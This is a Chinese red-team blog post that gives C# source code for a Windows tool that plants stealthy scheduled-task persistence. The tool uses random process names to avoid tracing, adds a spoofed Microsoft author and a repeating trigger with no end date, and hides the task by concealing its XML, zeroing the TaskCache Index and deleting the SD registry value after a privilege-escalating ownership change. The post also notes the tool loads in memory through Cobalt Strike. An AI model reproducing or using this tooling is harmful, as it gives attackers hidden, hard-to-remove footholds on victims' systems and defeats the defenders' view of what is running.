STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
承接上文,本文主要以计划任务的代码开发为主,将手工化转变为工具化。
NO.1 效果图
NO.2 实现步骤
1、选择主机随机进程名作为计划任务程序文件名
2、将计划任务程序文件复制到 %AppData%MicrosoftWindowsThemes 中
3、创建的计划任务名取同一随机进程名
4、计划任务触发器以分钟为单位,无限期持续
5、更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件
6、删除已添加的计划任务
NO.3 编写代码
编写任务计划的工具,需要用到任务计划API:Microsoft.Win32.TaskScheduler.dll。在 Visual Studio 中,可以直接从NuGet程序包中安装获取。
当然,也可以从 GitHub TaskScheduler
(https://github.com/dahall/TaskScheduler) 中下载获取。
随机进程名
选择主机随机进程名,作为计划任务程序文件名与计划任务名,主要为了每次运行名称都随机,防止后续被溯源,并且取随机进程名,也是一种隐匿。
//选择主机随机进程名
Process[] progresses = Process.GetProcesses();
Random random = new Random();
string randomname = (progresses[random.Next(progresses.Length)].ProcessName);
创建计划任务
触发器以分钟为单位,无限期持续的运行所创建的计划任务,主要是为了权限的持久性。如果说只运行一次或持续时间为一天,那对于权限的维持可以说是毫无意义。
计划任务的创建没有放在根路径下,而是创建在MicrosoftWindowsUPnP 路径下,达到隐匿。
//创建计划任务
public static void CreateTask(string randomname, string destinationFile, string min)
{
TaskDefinition td = TaskService.Instance.NewTask();
td.RegistrationInfo.Author = "Microsoft"; //创建者
td.RegistrationInfo.Description = "UPnPHost Service Settings"; //描述
//计划任务运行时间 Min/无限期
double time = double.Parse(min);
TimeTrigger tt = new TimeTrigger();
tt.StartBoundary = DateTime.Now;
tt.Repetition.Interval = TimeSpan.FromMinutes(time);
td.Triggers.Add(tt);
td.Actions.Add(destinationFile, null, null);
string taskpath = @"MicrosoftWindowsUPnP" + randomname;
TaskService.Instance.RootFolder.RegisterTaskDefinition(taskpath, definition: td, TaskCreation.CreateOrUpdate, null, null, 0);
}
隐藏计划任务
XML 文件隐藏
文中已经说过:
1、在 Windows 10 中,删除 XML 文件,并不影响计划任务的运行,且在 taskschd.msc 任务计划程序中,依然存在对应任务;
2、在 Windows 7 与 Windows Server 2008 中,若删除 XML 文件,任务计划程序中的对应任务也会被删除,并且影响计划任务的运行。
为了程序的可用性,这里只能将 XML 文件进行隐藏,而不是删除。
//隐藏 %SystemRoot%System32Tasks 下计划任务对应的 XML 文件
public static void HidXml(string taskpath)
{
string xml = $@"C:WindowsSystem32Tasks" + taskpath;
FileInfo info = new FileInfo(xml);
if (info.Exists)
{
info.Attributes = FileAttributes.Hidden;
Console.WriteLine($"[*] Hidden task xml file: n{xml}");
}
}
Index 修改
通过修改 HKLMSOFTWAREMicrosoftWindows NTCurrentVersionScheduleTaskCacheTree{TaskName} 下对应任务的 Index 值为 0后,利用 taskschd.msc、schtasks.exe 、API 都查看不到所创建的任务。
首先需要更改注册表对应计划任务项值的高级安全设置中的所有者。在未获取特权模式下,工具运行后提示“拒绝访问”,这显然是权限不足。
可以使用 [TokenManipulator 类](https://stackoverflow.com/questions/17031552/how-do-you-take-file-ownership-with-powershell/17047190# 17047190) ,从而获取特权模式。这就需要在项目中添加一个新的C# 类,之后在头部 using CosmosKey.Utils; 。
try
{
TokenManipulator.AddPrivilege("SeRestorePrivilege");
TokenManipulator.AddPrivilege("SeBackupPrivilege");
TokenManipulator.AddPrivilege("SeTakeOwnershipPrivilege");
var subKey = Registry.ClassesRoot.OpenSubKey(@"AppID{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);
// code to change owner...
}
finally
{
TokenManipulator.RemovePrivilege("SeRestorePrivilege");
TokenManipulator.RemovePrivilege("SeBackupPrivilege");
TokenManipulator.RemovePrivilege("SeTakeOwnershipPrivilege");
}
获取特权模式后,更改注册表项值的所有者为 Administrators,同时要更改注册表项值的权限,这才能对 Index 进行修改操作。
//更改注册表项值的所有者
RegistryKey subKey = Registry.LocalMachine.OpenSubKey(regpath,RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRightsTakeOwnership);
RegistrySecurity rs = new RegistrySecurity();
//设置安全性的所有者为Administrators
rs.SetOwner(new NTAccount("Administrators"));
//为注册表项设置权限
subKey.SetAccessControl(rs);
//更改注册表项值的权限
RegistryAccessRule rar = new RegistryAccessRule("Administrators",RegistryRights.FullControl, AccessControlType.Allow);
rs.AddAccessRule(rar);
subKey.SetAccessControl(rs);
subKey.Close();
SD 删除
SD 键值的删除,是计划任务完全隐藏项之一,当然要排除在注册表中查看。但经过测试,Windows 7 、Windows Server 2008 无 SD 值、Windows 10 有 SD 值。所以就要做 if 的判断,以免程序报错。
//判断SD键值是否存在(Win7 与 win2008 无SD)
public static void RegeditKeyExist(string regpath)
{
string[] subkeyNames;
RegistryKey sd = Registry.LocalMachine.OpenSubKey(regpath, true);
subkeyNames = sd.GetValueNames();
foreach (string keyName in subkeyNames)
{
if (keyName == "SD")
{
sd.DeleteValue("SD");
sd.Close();
return;
}
}
sd.Close();
return;
}
删除计划任务
修改注册表中的键值 Index 与 SD 后,任务计划程序中就查看不到该任务。通过 TaskCollection 也无法查到此任务,就无法删除所创建的计划任务。
所以,为了工具的完整性,删除代码只做参考,并未引用到程序中。
//删除计划任务 (需要管理员权限)
public static void DeleteTask(string taskname)
{
//不要写成 "MicrosoftWindowsUPnP" — 报错 — 找不到
string taskpath = @"MicrosoftWindowsUPnP";
//获得计划任务
TaskService ts = new TaskService();
TaskCollection tc = ts.GetFolder(taskpath).GetTasks();
//Console.WriteLine($"{tc}");
if (tc.Exists(taskname))
{
string dtask = taskpath + "\" + taskname;
ts.RootFolder.DeleteTask(dtask);
Console.WriteLine("n[+] Successfully delete scheduled task !");
}
else
{
Console.WriteLine("n[!] Please add scheduled task !");
}
}
DLL文件打包到EXE
引用的 Microsoft.Win32.TaskScheduler.dll 并不能直接编译到程序中,每次运行就需要 SchTask.exe 与
Microsoft.Win32.TaskScheduler.dll 在同一目录下,否则运行就会报错。
可以使用 ILMerge
(https://github.com/dotnet/ILMerge) 将 .Net 的 DLL 文件打包到 EXE 中,直接在 Visual Studio 中使用 NuGet 程序包管理下载安装即可。也可以使用 ILMerge-GUI
(https://bitbucket.org/wvd-vegt/ilmergegui) 图形化版本打包,更加方便。
程序打包后,在 CobaltStrike 中利用 execute-assembly 可以成功在内存中加载运行。
NO.4 Reference
Ownership of registry
https://www.coder.work/article/981395
TokenManipulator Class
https://stackoverflow.com/questions/17031552/how-do-you-take-file-ownership-with-powershell/17047190
Use ILMerge packaging
http://www.meilongkui.com/archives/1040
Task Scheduler for developers
https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
RECRUITMENT
招聘启事
END
长按识别二维码关注我们
原文始发于微信公众号(白帽子):Windows计划任务的进阶——工具化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论